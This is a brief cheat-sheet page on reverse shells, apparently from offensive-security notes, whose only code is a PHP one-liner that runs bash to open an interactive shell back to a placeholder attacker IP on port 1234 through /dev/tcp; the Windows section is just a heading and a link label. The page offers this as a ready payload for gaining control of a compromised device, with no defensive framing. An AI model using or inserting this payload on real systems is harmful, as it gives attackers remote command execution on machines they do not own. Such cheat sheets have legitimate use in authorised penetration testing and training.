Skip to content

Reverse Shells

Useful links and one liners to establish a connection to a compromised device.


Linux Target

PHP

Simple one-liner:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/<attacker ip>/1234 0>&1'");
?>

Windows Target

PHP

Useful links: - Link to RS